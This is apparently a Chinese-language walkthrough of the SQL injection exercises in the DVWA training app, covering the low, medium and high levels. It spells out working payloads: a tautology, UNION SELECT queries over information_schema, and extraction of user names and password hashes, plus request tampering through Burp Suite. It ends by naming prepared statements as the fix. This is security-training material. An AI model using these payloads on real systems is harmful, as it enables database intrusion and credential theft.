文章目录
- SQL Injection
- low
- medium
- high
SQL Injection
low
- 输入 1,可以展示 id = 1 的人员信息:
- 输入 1’,有报错信息。可以看出是mysql数据库,‘‘1’’’ 去除两边的引号,再去除1两端的引号,可以看出闭合符号是单引号:
- 输入 1’ or 1=1# 获取所有的用户信息:
- 可以看到有两个反显值,猜测sql返回字段数是2,使用 union 关键字获取其他数据库相关信息。输入:1’ union select user(), database()#
- 获取所有表名:1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#
- 获取表中的字段:1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
- 获取用户名密码:1’ union select user,password from users# 拿到了敏感信息。
medium
- medium 等级中使用了下拉框,我们无法通过页面的输入框进行sql 注入。使用burpsuite截取报文进行篡改,如下拉框中选择了1,但是篡改报文为 2,成功返回了 id=2的信息:
- 参照 low 注入 1’ union select user,password from users#,发现报错,不需要单引号进行闭合
去掉引号即可:
high
- 页面变成了跳转输入的形式,可以防止自动化的 sql 注入,但是依然可以和 low 一样进行sql注入,获取用户密码:
在 impossible 等级中,不再使用 sql 拼接的形式构造 sql 语句,解决了 sql 注入漏洞。实际使用 mybaits 进行开发时,可以使用预编译防止 sql 注入。